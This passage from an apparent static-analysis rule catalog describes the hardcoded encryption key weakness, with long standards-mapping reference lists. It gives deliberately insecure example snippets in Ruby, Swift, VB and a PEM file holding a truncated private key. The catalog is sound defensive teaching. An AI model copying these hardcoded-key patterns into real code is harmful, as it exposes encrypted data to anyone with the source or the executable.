[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 798
[37] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 798
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.python.key_management_hardcoded_encryption_key
Abstract
Hardcoded encryption keys could compromise system security in a way that is not easy to remedy.
Explanation
It is never a good idea to hardcode an encryption key. Not only does hardcoding an encryption key allow all of the project's developers to view the encryption key, it also makes fixing the problem extremely difficult. After the code is in production, a software patch is required to change the encryption key. If the account protected by the encryption key is compromised, the owners of the system must choose between security and availability.
Example 1: The following code uses a hardcoded encryption key:


require 'openssl'
...
encryption_key = 'hardcoded_encryption_key'
...
cipher = OpenSSL::Cipher::AES.new(256, 'GCM')
cipher.encrypt
...
cipher.key=encryption_key
...


This code will run successfully, but anyone who has access to it will have access to the encryption key. After the program ships, there is likely no way to change the hardcoded encryption key "hardcoded_encryption_key" unless the program is patched. A devious employee with access to this information can use it to compromise data encrypted by the system.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 798
[37] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 798
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.ruby.key_management_hardcoded_encryption_key
Abstract
Hardcoded encryption keys can compromise security in a way that is not easy to remedy.
Explanation
It is never a good idea to hardcode an encryption key. Not only does hardcoding an encryption key allow all of the project's developers to view the encryption key, it also makes fixing the problem extremely difficult. After the code is in production, a software patch is required to change the encryption key. If the account protected by the encryption key is compromised, the owners of the system must choose between security and availability.

Example 1: The following code uses a hardcoded encryption key:


...
let encryptionKey = "YELLOW_SUBMARINE"
...
Example 2: The following code performs AES encryption using a hardcoded encryption key:


...
CCCrypt(UInt32(kCCEncrypt),
UInt32(kCCAlgorithmAES128),
UInt32(kCCOptionPKCS7Padding),
"YELLOW_SUBMARINE",
16,
iv,
plaintext,
plaintext.length,
ciphertext.mutableBytes,
ciphertext.length,
&numBytesEncrypted)
...


Anyone with access to the code has access to the encryption key. After the program ships, there is no way to change the encryption key unless the program is patched. An employee with access to this information can use it to break into the system. If attackers had access to the executable for the application they could extract the encryption key value.
References
[1] Encrypting Your App's Files Apple
[2] Standards Mapping - Common Weakness Enumeration CWE ID 321
[3] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[8] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[10] Standards Mapping - FIPS200 IA
[11] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[12] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[13] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[14] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[15] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[16] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[17] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[18] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[19] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[21] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[23] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[36] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[37] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 798
[38] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 798
[39] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[61] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[62] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.swift.key_management_hardcoded_encryption_key
Abstract
Hardcoded encryption keys can compromise security in a way that is not easy to remedy.
Explanation
Never hardcode an encryption key because it makes the encryption key visible to all of the project's developers, and makes fixing the problem extremely difficult. Changing the encryption key after the code is in production requires a software patch. If the account that the encryption key protects is compromised, the organization must choose between security and system availability.

Example 1: The following example shows an encryption key inside a .pem file:


...
-----BEGIN RSA PRIVATE KEY-----
MIICXwIBAAKBgQCtVacMo+w+TFOm0p8MlBWvwXtVRpF28V+o0RNPx5x/1TJTlKEl
...
DiJPJY2LNBQ7jS685mb6650JdvH8uQl6oeJ/aUmq63o2zOw=
-----END RSA PRIVATE KEY-----
...


Anyone with access to the code can see the encryption key. After the application has shipped, there is no way to change the encryption key unless the program is patched. An employee with access to this information can use it to break into the system. Any attacker with access to the application executable can extract the encryption key value.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 798
[37] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 798
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.regex.universal.key_management_hardcoded_encryption_key
Abstract
Hardcoded encryption keys can compromise security in a way that is not easy to remedy.
Explanation
It is never a good idea to hardcode an encryption key because it allows all of the project's developers to view the encryption key, and makes fixing the problem extremely difficult. After the code is in production, a software patch is required to change the encryption key. If the account that is protected by the encryption key is compromised, the owners of the system must choose between security and availability.

Example 1: The following code uses a hardcoded encryption key:


...
Dim encryptionKey As String
Set encryptionKey = "lakdsljkalkjlksdfkl"
Dim AES As New System.Security.Cryptography.RijndaelManaged
On Error GoTo ErrorHandler
  AES.Key = System.Text.Encoding.ASCII.GetBytes(encryptionKey)
  ...
Exit Sub
...


Anyone with access to the code has access to the encryption key. After the application has shipped, there is no way to change the encryption key unless the program is patched. An employee with access to this information can use it to break into the system. If attackers had access to the executable for the application, they could extract the encryption key value.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
